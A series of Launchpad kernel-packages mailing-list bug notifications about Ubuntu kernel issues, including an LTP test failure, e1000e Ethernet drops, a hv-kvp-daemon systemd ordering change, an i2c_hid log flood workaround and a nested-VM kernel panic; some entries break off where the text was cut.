** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: Confirmed => Triaged -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785209 Title: shmctl05 in ubuntu_ltp_syscall failed with Trusty Status in linux package in Ubuntu: Triaged Bug description: <<>> tag=shmctl05 stime=1533290233 cmdline="shmctl05" contacts="" analysis=exit <<>> tst_test.c:1018: INFO: Timeout per run is 0h 00m 20s incrementing stop tst_safe_sysv_ipc.c:111: BROK: shmctl05.c:51: shmget(61455, 4096, 3c0) failed: ENOSPC shmctl05.c:104: WARN: pthread_join(..., (nil)) failed: EDEADLK Summary: passed 0 failed 0 skipped 0 warnings 1 ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: linux-image-3.13.0-153-generic 3.13.0-153.203 ProcVersionSignature: User Name 3.13.0-153.203-generic 3.13.11-ckt39 Uname: Linux 3.13.0-153-generic x86_64 AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Aug 3 07:50 seq crw-rw 1 root audio 116, 33 Aug 3 07:50 timer AplayDevices: Error: [Errno 2] No such file or directory: 'aplay' ApportVersion: 2.14.1-0ubuntu3.29 Architecture: amd64 ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord' AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: Date: Fri Aug 3 09:54:34 2018 IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig' Lsusb: Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub MachineType: QEMU Standard PC (i440FX + PIIX, 1996) PciMultimedia: ProcFB: ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.13.0-153-generic root=UUID=41f2a2b1-0082-4a56-ad3b-9f99ca574aeb ro RelatedPackageVersions: linux-restricted-modules-3.13.0-153-generic N/A linux-backports-modules-3.13.0-153-generic N/A linux-firmware 1.127.24 RfKill: Error: [Errno 2] No such file or directory: 'rfkill' SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/01/2014 dmi.bios.vendor: SeaBIOS dmi.bios.version: Ubuntu-1.8.2-1ubuntu1 dmi.chassis.type: 1 dmi.chassis.vendor: QEMU dmi.chassis.version: pc-i440fx-xenial dmi.modalias: dmi:bvnSeaBIOS:bvrUbuntu-1.8.2-1ubuntu1:bd04/01/2014:svnQEMU:pnStandardPC(i440FX+PIIX,1996):pvrpc-i440fx-xenial:cvnQEMU:ct1:cvrpc-i440fx-xenial: dmi.product.name: Standard PC (i440FX + PIIX, 1996) dmi.product.version: pc-i440fx-xenial dmi.sys.vendor: QEMU To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1785209/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785171] [NEW] Intel I219-V Ethernet Interface on Ubuntu Linux Using e1000e Driver keeps Dropping Internet Connection
You have been subscribed to a public bug: I've turned up many, many new server and workstation systems over the years on both Linux and Windows. Never seen anything like this behaviour I'm witnessing on Ubuntu Server 18.04 before where I simply lose Internet connectivity while using a browser. Ethernet interfaces usually either work or they don't work. I've configured the Intel I219-V Ethernet interface (wired Ethernet connection, there is no wifi on this system) using the e1000e driver for Ubuntu. The Ethernet connection is configured to use NetworkManager via Netplan on Ubuntu 18.04 LTS Server version. ASRock Z370m Pro4 motherboard. The Ethernet interface will drop the Internet connectivity when I'm using either the Firefox or Chrome browser. It usually happens when I'm using the search features of the browser. I can't figure out what would cause this type of behaviour. When the Internet connection drops, the only way to get back Internet connectivity is to disconnect the wired connection using the Ubuntu features and then re-connect (this restarts the NetworkManager service I notice). In the NetworkManager logs I do notice an "auth" error about a file or directory not found. I've never seen that before. Note: The auth error does not coincide with the loss of Internet connectivity, but it does proceed it. Often there can be many hours between the auth error and the actual loss of Internet connectivity. After I reconnect the connection (via re-starting the NetworkManager service) all will be fine for up to a day or so, but then I stress test it with a bunch of searches using the browser and usually I can get the Internet connectivity to drop again. Repeat the disconnect and reconnect process again (aka re-start NetworkManager) and the Internet connectivity will be fine again. The longest I've seen it go without an "Internet connectivity drop" issue is about 36 hours. I notice that the e1000e driver does not list the I219-V as a supported Ethernet interface in the Intel documentation for the Linux version of the driver. I'm not sure why that is. The I219-V is supposed to used another driver, but it's not clear there's a Linux version for of the driver for the I219-V. I'm really disappointed that I've run into this issue with Ubuntu Server LTS 18.04 on this motherboard. I had CentOS Server 7.4 (my standard server OS, a great Linux distro) on this same motherboard for a week with no issues, so I know the motherboard and the I219-V Ethernet interface are 100% good hardware wise and can work properly. CentOS 7.4 uses NetworkManager as the default for managing the Ethernet interface. The only reason I'm using Ubuntu Server 18.04 on this motherboard is because of a specific package that Ubuntu has a newer packaged version than CentOS. CentOS is extremely stable when it comes to basic server functionality. Hopefully, this bug with the I219-V Ethernet interface using the e1000e drive for Linux can be verified and a fix rolled out. ** Affects: linux (Ubuntu) Importance: Undecided Status: New ** Tags: bot-comment e1000e ethernet networkmanager -- Intel I219-V Ethernet Interface on Ubuntu Linux Using e1000e Driver keeps Dropping Internet Connection https://bugs.launchpad.net/bugs/1785171 You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1776563] Re: Acer Aspire A315 IOAPIC failure on Ubuntu 18.04, kernel hangs, can't load, kernel freeze (AMD Ryzen 5/Radeon/Raven) / AMDGPU Hybrid crash
VGA fix has been released in ver. 4.18 rc7. SSDT will not be fixed I think. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-firmware in Ubuntu. https://bugs.launchpad.net/bugs/1776563 Title: Acer Aspire A315 IOAPIC failure on Ubuntu 18.04, kernel hangs, can't load, kernel freeze (AMD Ryzen 5/Radeon/Raven) / AMDGPU Hybrid crash Status in amd: New Status in Linux: Incomplete Status in linux package in Ubuntu: Triaged Status in linux-firmware package in Ubuntu: New Bug description: CPU: Ryzen 5 2500U VGA: Radeon 535 Notebook: Acer Aspire A315 This is a brand new notebook on the market with Ryzen 5/Radeon. The default kernel of Ubuntu(18.04) hangs at loading with message: tsc: Refined TSC clocksource calibration: 1996.250 MHz clocksource: tsc: mask: 0x max_cycles: (...), max_idle_ns: (...) Soft lockup Using pci=noacpi kernel parameter kernel loads without any problem but my notebook produces more heat than on Win10. If I know right Acer notebooks need ACPI to the correct power management. The same thing happens on mainline 4.17,4.18rc1-2. BIOS upgrade to the latest version: 1.08 hasn't helped This problem has been reported upstream: https://bugzilla.kernel.org/show_bug.cgi?id=200087 The latest correctly working kernel was 4.13.* but the heat problem was present with this too. To manage notifications about this bug go to: https://bugs.launchpad.net/amd/+bug/1776563/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784306] Re: linux-aws: 4.4.0-1064.74 -proposed tracker
** Changed in: kernel-sru-workflow/promote-to-proposed Status: Confirmed => In Progress ** Changed in: kernel-sru-workflow/promote-to-proposed Assignee: Ubuntu Stable Release Updates Team (ubuntu-sru) => Łukasz Zemczak (sil2100) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-aws in Ubuntu. https://bugs.launchpad.net/bugs/1784306 Title: linux-aws: 4.4.0-1064.74 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: In Progress Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow snap-release-to-beta series: New Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: New Status in Kernel SRU Workflow snap-release-to-stable series: Invalid Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: New Status in linux-aws package in Ubuntu: Invalid Status in linux-aws source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784306/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1739107] Re: linux-cloud-tools-common: Ensure hv-kvp-daemon.service starts before walinuxagent.service
** Changed in: linux (Ubuntu Bionic) Assignee: (unassigned) => Eric Desrochers (slashd) ** Changed in: linux (Ubuntu) Assignee: (unassigned) => Eric Desrochers (slashd) ** Changed in: linux (Ubuntu Xenial) Assignee: (unassigned) => Eric Desrochers (slashd) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1739107 Title: linux-cloud-tools-common: Ensure hv-kvp-daemon.service starts before walinuxagent.service Status in linux package in Ubuntu: In Progress Status in linux source package in Xenial: In Progress Status in linux source package in Zesty: Won't Fix Status in linux source package in Artful: Won't Fix Status in linux source package in Bionic: In Progress Bug description: This is a request to make a change in the hv-kvp-daemon systemd service which is part of the linux-cloud-tools-common package to ensure the hv-kvp-daemon service starts before the walinuxagent service. The default dependencies make hv-kvp-daemon wait until the whole system is up before it can start. Currently the /lib/systemd/system/hv-kvp-daemon.service file looks like this: # On Azure/Hyper-V systems start the hv_kvp_daemon # # author "Andy Whitcroft " [Unit] Description=Hyper-V KVP Protocol Daemon ConditionVirtualization=microsoft [Service] ExecStart=/usr/sbin/hv_kvp_daemon -n [Install] WantedBy=multi-user.target The suggested modification is to make the [Unit] section look like this: [Unit] Description=Hyper-V KVP Protocol Daemon ConditionVirtualization=microsoft DefaultDependencies=no After=systemd-remount-fs.service Before=shutdown.target cloud-init-local.service walinuxagent.service Conflicts=shutdown.target RequiresMountsFor=/var/lib/hyperv The hv-kvp-daemon service is not currently part of the critical-chain: $ systemd-analyze critical-chain The time after the unit is active or started is printed after the "@" character. The time the unit takes to start is printed after the "+" character. graphical.target @10.809s └─multi-user.target @10.723s └─ephemeral-disk-warning.service @10.538s +31ms └─cloud-config.service @8.249s +2.252s └─basic.target @8.044s └─sockets.target @8.019s └─snapd.socket @7.692s +264ms └─sysinit.target @6.719s └─cloud-init.service @5.803s +842ms └─networking.service @5.137s +612ms └─network-pre.target @5.074s └─cloud-init-local.service @2.257s +2.783s └─systemd-remount-fs.service @1.368s +656ms └─systemd-journald.socket @1.218s └─-.mount @649ms └─system.slice @653ms └─-.slice @649ms In an Azure VM, the current startup time of my test is: $ systemd-analyze Startup finished in 10.375s (kernel) + 12.352s (userspace) = 22.728s After making the suggested change, the startup time is similar: $ systemd-analyze Startup finished in 9.759s (kernel) + 11.867s (userspace) = 21.627s And the service is now in the critical-chain: $ systemd-analyze critical-chain The time after the unit is active or started is printed after the "@" character. The time the unit takes to start is printed after the "+" character. graphical.target @10.666s └─multi-user.target @10.636s └─ephemeral-disk-warning.service @10.556s +36ms └─cloud-config.service @8.423s +2.095s └─basic.target @8.124s └─sockets.target @8.101s └─lxd.socket @7.677s +326ms └─sysinit.target @6.755s └─cloud-init.service @5.814s +908ms └─networking.service @5.111s +651ms └─network-pre.target @5.087s └─cloud-init-local.service @2.345s +2.707s └─hv-kvp-daemon.service @2.316s └─systemd-remount-fs.service @1.253s +680ms └─system.slice @1.225s └─-.slice @650ms The ConditionVirtualization=microsoft line makes it so that this doesn't affect non microsoft virtualization environments (ie. qemu, kvm, vmware, xen, etc.) by checking whether the system is executed in a virtualized environment and optionally test whether it is a specific implementation, in this case "microsoft" for Hyper-V. https://www.freedesktop.org/software/systemd/man/systemd-detect-virt.html# microsoft = Hyper-V, also known as Viridian or Windows Server Virtualization To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1739107/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1739107] Re: linux-cloud-tools-common: Ensure hv-kvp-daemon.service starts before walinuxagent.service
** Description changed: This is a request to make a change in the hv-kvp-daemon systemd service which is part of the linux-cloud-tools-common package to ensure the hv- kvp-daemon service starts before the walinuxagent service. The default dependencies make hv-kvp-daemon wait until the whole system is up before it can start. Currently the /lib/systemd/system/hv-kvp-daemon.service file looks like this: # On Azure/Hyper-V systems start the hv_kvp_daemon # # author "Andy Whitcroft " [Unit] Description=Hyper-V KVP Protocol Daemon ConditionVirtualization=microsoft [Service] ExecStart=/usr/sbin/hv_kvp_daemon -n [Install] WantedBy=multi-user.target The suggested modification is to make the [Unit] section look like this: [Unit] Description=Hyper-V KVP Protocol Daemon ConditionVirtualization=microsoft DefaultDependencies=no After=systemd-remount-fs.service Before=shutdown.target cloud-init-local.service walinuxagent.service Conflicts=shutdown.target RequiresMountsFor=/var/lib/hyperv The hv-kvp-daemon service is not currently part of the critical-chain: $ systemd-analyze critical-chain The time after the unit is active or started is printed after the "@" character. The time the unit takes to start is printed after the "+" character. graphical.target @10.809s └─multi-user.target @10.723s └─ephemeral-disk-warning.service @10.538s +31ms └─cloud-config.service @8.249s +2.252s └─basic.target @8.044s └─sockets.target @8.019s └─snapd.socket @7.692s +264ms └─sysinit.target @6.719s └─cloud-init.service @5.803s +842ms └─networking.service @5.137s +612ms └─network-pre.target @5.074s └─cloud-init-local.service @2.257s +2.783s └─systemd-remount-fs.service @1.368s +656ms └─systemd-journald.socket @1.218s └─-.mount @649ms └─system.slice @653ms └─-.slice @649ms In an Azure VM, the current startup time of my test is: $ systemd-analyze Startup finished in 10.375s (kernel) + 12.352s (userspace) = 22.728s After making the suggested change, the startup time is similar: $ systemd-analyze Startup finished in 9.759s (kernel) + 11.867s (userspace) = 21.627s And the service is now in the critical-chain: $ systemd-analyze critical-chain The time after the unit is active or started is printed after the "@" character. The time the unit takes to start is printed after the "+" character. graphical.target @10.666s └─multi-user.target @10.636s └─ephemeral-disk-warning.service @10.556s +36ms └─cloud-config.service @8.423s +2.095s └─basic.target @8.124s └─sockets.target @8.101s └─lxd.socket @7.677s +326ms └─sysinit.target @6.755s └─cloud-init.service @5.814s +908ms └─networking.service @5.111s +651ms └─network-pre.target @5.087s └─cloud-init-local.service @2.345s +2.707s └─hv-kvp-daemon.service @2.316s └─systemd-remount-fs.service @1.253s +680ms └─system.slice @1.225s └─-.slice @650ms The ConditionVirtualization=microsoft line makes it so that this doesn't affect non microsoft virtualization environments (ie. qemu, kvm, vmware, - xen, etc.) + xen, etc.) by checking whether the system is executed in a virtualized + environment and optionally test whether it is a specific implementation, + in this case "microsoft" for Hyper-V. https://www.freedesktop.org/software/systemd/man/systemd-detect-virt.html# - microsoft Hyper-V, also known as Viridian or Windows Server Virtualization + microsoft = Hyper-V, also known as Viridian or Windows Server Virtualization -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1739107 Title: linux-cloud-tools-common: Ensure hv-kvp-daemon.service starts before walinuxagent.service Status in linux package in Ubuntu: In Progress Status in linux source package in Xenial: In Progress Status in linux source package in Zesty: Won't Fix Status in linux source package in Artful: Won't Fix Status in linux source package in Bionic: In Progress Bug description: This is a request to make a change in the hv-kvp-daemon systemd service which is part of the linux-cloud-tools-common package to ensure the hv-kvp-daemon service starts before the walinuxagent service. The default dependencies make hv-kvp-daemon wait until the whole system is up before it can start. Currently the /lib/systemd/system/hv-kvp-daemon.service file looks like this: # On Azure/Hyper-V systems start the hv_kvp_daemon # # author "Andy Whitcroft " [Unit] Description=Hyper-V KVP Protocol Daemon ConditionVirtualization=microsoft [Service] ExecStart=/usr/sbin/hv_kvp_daemon -n [Install] WantedBy=multi-user.target The suggested modification is to make the [Unit] section look like this: [Unit] Description=Hyper-V KVP
[Kernel-packages] [Bug 1784302] Re: linux: 4.4.0-132.158 -proposed tracker
** Changed in: kernel-sru-workflow/promote-to-proposed Status: In Progress => Fix Committed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784302 Title: linux: 4.4.0-132.158 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: New Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Committed Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow snap-certification-testing series: New Status in Kernel SRU Workflow snap-release-to-beta series: New Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: New Status in Kernel SRU Workflow snap-release-to-stable series: New Status in Kernel SRU Workflow upload-to-ppa series: Invalid Status in Kernel SRU Workflow verification-testing series: New Status in linux package in Ubuntu: Invalid Status in linux source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1784303 (linux-aws), bug 1784304 (linux-lts-xenial) derivatives: bug 1784306 (linux-aws), bug 1784308 (linux-euclid), bug 1784310 (linux-kvm), bug 1784311 (linux-raspi2), bug 1784312 (linux-snapdragon) kernel-stable-phase:Uploaded kernel-stable-phase-changed:Thursday, 02. August 2018 09:32 UTC -- swm properties -- boot-testing-requested: true phase: Uploaded To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784302/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1739107] Re: linux-cloud-tools-common: Ensure hv-kvp-daemon.service starts before walinuxagent.service
** Description changed: This is a request to make a change in the hv-kvp-daemon systemd service which is part of the linux-cloud-tools-common package to ensure the hv- kvp-daemon service starts before the walinuxagent service. The default dependencies make hv-kvp-daemon wait until the whole system is up before it can start. Currently the /lib/systemd/system/hv-kvp-daemon.service file looks like this: - - # On Azure/Hyper-V systems start the hv_kvp_daemon - # - # author "Andy Whitcroft " - [Unit] - Description=Hyper-V KVP Protocol Daemon - ConditionVirtualization=microsoft + + # On Azure/Hyper-V systems start the hv_kvp_daemon + # + # author "Andy Whitcroft " + [Unit] + Description=Hyper-V KVP Protocol Daemon + ConditionVirtualization=microsoft - [Service] - ExecStart=/usr/sbin/hv_kvp_daemon -n + [Service] + ExecStart=/usr/sbin/hv_kvp_daemon -n - [Install] - WantedBy=multi-user.target - + [Install] + WantedBy=multi-user.target + The suggested modification is to make the [Unit] section look like this: - [Unit] - Description=Hyper-V KVP Protocol Daemon - ConditionVirtualization=microsoft - DefaultDependencies=no - After=systemd-remount-fs.service - Before=shutdown.target cloud-init-local.service walinuxagent.service - Conflicts=shutdown.target + [Unit] + Description=Hyper-V KVP Protocol Daemon + ConditionVirtualization=microsoft + DefaultDependencies=no + After=systemd-remount-fs.service + Before=shutdown.target cloud-init-local.service walinuxagent.service + Conflicts=shutdown.target RequiresMountsFor=/var/lib/hyperv + The hv-kvp-daemon service is not currently part of the critical-chain: - The hv-kvp-daemon service is not currently part of the critical-chain: + $ systemd-analyze critical-chain + The time after the unit is active or started is printed after the "@" character. + The time the unit takes to start is printed after the "+" character. - $ systemd-analyze critical-chain - The time after the unit is active or started is printed after the "@" character. - The time the unit takes to start is printed after the "+" character. + graphical.target @10.809s + └─multi-user.target @10.723s + └─ephemeral-disk-warning.service @10.538s +31ms + └─cloud-config.service @8.249s +2.252s + └─basic.target @8.044s + └─sockets.target @8.019s + └─snapd.socket @7.692s +264ms + └─sysinit.target @6.719s + └─cloud-init.service @5.803s +842ms + └─networking.service @5.137s +612ms + └─network-pre.target @5.074s + └─cloud-init-local.service @2.257s +2.783s + └─systemd-remount-fs.service @1.368s +656ms + └─systemd-journald.socket @1.218s + └─-.mount @649ms + └─system.slice @653ms + └─-.slice @649ms - graphical.target @10.809s - └─multi-user.target @10.723s - └─ephemeral-disk-warning.service @10.538s +31ms - └─cloud-config.service @8.249s +2.252s - └─basic.target @8.044s - └─sockets.target @8.019s - └─snapd.socket @7.692s +264ms - └─sysinit.target @6.719s - └─cloud-init.service @5.803s +842ms - └─networking.service @5.137s +612ms - └─network-pre.target @5.074s - └─cloud-init-local.service @2.257s +2.783s - └─systemd-remount-fs.service @1.368s +656ms - └─systemd-journald.socket @1.218s - └─-.mount @649ms - └─system.slice @653ms - └─-.slice @649ms + In an Azure VM, the current startup time of my test is: + $ systemd-analyze + Startup finished in 10.375s (kernel) + 12.352s (userspace) = 22.728s - In an Azure VM, the current startup time of my test is: - $ systemd-analyze - Startup finished in 10.375s (kernel) + 12.352s (userspace) = 22.728s + After making the suggested change, the startup time is similar: - - After making the suggested change, the startup time is similar: - - $ systemd-analyze - Startup finished in 9.759s (kernel) + 11.867s (userspace) = 21.627s + $ systemd-analyze + Startup finished in 9.759s (kernel) + 11.867s (userspace) = 21.627s And the service is now in the critical-chain: - $ systemd-analyze critical-chain - The time after the unit is active or started is printed after the "@" character. - The time the unit takes to start is printed after the "+" character. + $ systemd-analyze critical-chain + The time after the unit is active or started is printed after the "@" character. + The time the unit takes to start is printed after the "+" character. - graphical.target @10.666s - └─multi-user.target @10.636s - └─ephemeral-disk-warning.service @10.556s +36ms - └─cloud-config.service @8.423s +2.095s - └─basic.target @8.124s - └─sockets.target @8.101s - └─lxd.socket @7.677s +326ms - └─sysinit.target @6.755s - └─cloud-init.service @5.814s +908ms - └─networking.service @5.111s +651ms - └─network-pre.target @5.087s - └─cloud-init-local.service @2.345s +2.707s - └─hv-kvp-daemon.service @2.316s - └─systemd-remount-fs.service @1.253s +680ms - └─system.slice @1.225s - └─-.slice @650ms + graphical.target @10.666
[Kernel-packages] [Bug 1784152] Re: i2c_hid_get_input floods system logs
I think I've found a workaround for this issue, in my case adding 'acpi_osi=' to the linux kernel parameters solved it. I am running a Dell Inspiron 15 5577 (with latest BIOS, v1.1.0). For a permanent solution, I changed this line at: ```/etc/default/grub GRUB_CMDLINE_LINUX_DEFAULT="quiet splash acpi_osi=" ``` and then you have to run: ``` $ sudo update-grub ``` -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784152 Title: i2c_hid_get_input floods system logs Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu 4.15.0-29.31-generic 4.15.18 After upgrading to kernel version 4.15.0-29 from 4.15.0-23, the system logs are flooded whenever I move the cursor with my touchpad. It looks like this: i2c_hid i2c-ELAN1010:00: i2c_hid_get_input: incomplete report (14/65535) i2c_hid i2c-ELAN1010:00: i2c_hid_get_input: incomplete report (14/65535) i2c_hid i2c-ELAN1010:00: i2c_hid_get_input: incomplete report (14/65535) i2c_hid i2c-ELAN1010:00: i2c_hid_get_input: incomplete report (14/65535) etc... This problem did not occur on the previous kernel version so there must have been a change to the "drivers/hid/i2c-hid/i2c-hid.c" file. This seems to be fixed in a recent commit here: https://github.com/torvalds/linux/commit/ef6eaf27274c0351f7059163918f3795da13199c I am currently running the older kernel version but would still like to be up to date without this flooding happening. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784152/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784302] Re: linux: 4.4.0-132.158 -proposed tracker
** Changed in: kernel-sru-workflow/promote-to-proposed Status: Confirmed => In Progress ** Changed in: kernel-sru-workflow/promote-to-proposed Assignee: Ubuntu Stable Release Updates Team (ubuntu-sru) => Łukasz Zemczak (sil2100) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784302 Title: linux: 4.4.0-132.158 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: New Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: In Progress Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow snap-certification-testing series: New Status in Kernel SRU Workflow snap-release-to-beta series: New Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: New Status in Kernel SRU Workflow snap-release-to-stable series: New Status in Kernel SRU Workflow upload-to-ppa series: Invalid Status in Kernel SRU Workflow verification-testing series: New Status in linux package in Ubuntu: Invalid Status in linux source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow backports: bug 1784303 (linux-aws), bug 1784304 (linux-lts-xenial) derivatives: bug 1784306 (linux-aws), bug 1784308 (linux-euclid), bug 1784310 (linux-kvm), bug 1784311 (linux-raspi2), bug 1784312 (linux-snapdragon) kernel-stable-phase:Uploaded kernel-stable-phase-changed:Thursday, 02. August 2018 09:32 UTC -- swm properties -- boot-testing-requested: true phase: Uploaded To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784302/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784393] Re: Kernel Crash when running on nested environment
Hi Joseph, thanks for your response. The issue started to happen since we started to run on this cloud, which was around 2 months ago more or less. So I am not sure if before that the issue was present. This kernel should be handled in the baremetal host, right? If so, I'll try to see if our cloud provider could try it. Thank you, regards. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784393 Title: Kernel Crash when running on nested environment Status in linux package in Ubuntu: Incomplete Bug description: When running an Ubuntu 17.10 or 18.04 VM and then running a Kata- Container (which creates a new VM), sometimes I get a kernel Panic in the First VM launched. I don't know what is the Host distro, since this is a cloud environment. Using this script, it is easily reproducible: https://gist.github.com/chavafg/d00fa4dbefb144e6b7eeceb5e1ad9c65 This is the kernel panic got from Ubuntu 17.10: [ 7893.642642] general protection fault: [#1] SMP PTI [ 7893.644919] Modules linked in: vhost_net vhost macvtap macvlan tap veth kvm_intel kvm irqbypass ipt_MASQUERADE nf_nat_masquerade_ipv4 nf_conntrack_netlink nfnetlink xfrm_user xfrm_algo iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 xt_addrtype iptable_filter xt_conntrack nf_nat nf_conntrack br_netfilter bridge stp llc overlay nls_iso8859_1 ppdev crct10dif_pclmul crc32_pclmul ghash_clmulni_intel joydev input_leds serio_raw parport_pc parport ib_iser rdma_cm iw_cm ib_cm ib_core iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi ip_tables x_tables autofs4 btrfs raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq libcrc32c raid1 raid0 multipath linear hid_generic usbhid hid aesni_intel aes_x86_64 crypto_simd floppy cryptd glue_helper psmouse virtio_net virtio_blk [ 7893.49] [last unloaded: irqbypass] [ 7893.667910] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 4.13.0-45-generic #50-Ubuntu [ 7893.670283] Hardware name: RDO OpenStack Compute, BIOS 1.11.0-2.el7 04/01/2014 [ 7893.672483] task: b0412480 task.stack: b040 [ 7893.674218] RIP: 0010:native_write_cr4+0x4/0x10 [ 7893.675549] RSP: 0018:8b08bfc03f50 EFLAGS: 00010006 [ 7893.677138] RAX: 000626f0 RBX: RCX: 8b08bfc23cd0 [ 7893.679254] RDX: 8b08bfc14020 RSI: 8b08bfc23cd0 RDI: 000606f0 [ 7893.681478] RBP: 8b08bfc03f50 R08: 0a6d223ad8ee R09: 8b08ac931800 [ 7893.683695] R10: 0001001cf7c1 R11: 0061 R12: 00023cd0 [ 7893.685895] R13: 0001 R14: 8b08bff4a800 R15: 0008a000 [ 7893.688171] FS: () GS:8b08bfc0() knlGS: [ 7893.690855] CS: 0010 DS: ES: CR0: 80050033 [ 7893.692658] CR2: 7fb2f8fdc020 CR3: 00035b80a003 CR4: 000626f0 [ 7893.694909] Call Trace: [ 7893.695837] [ 7893.696664] hardware_disable+0x99/0xb0 [kvm_intel] [ 7893.698380] 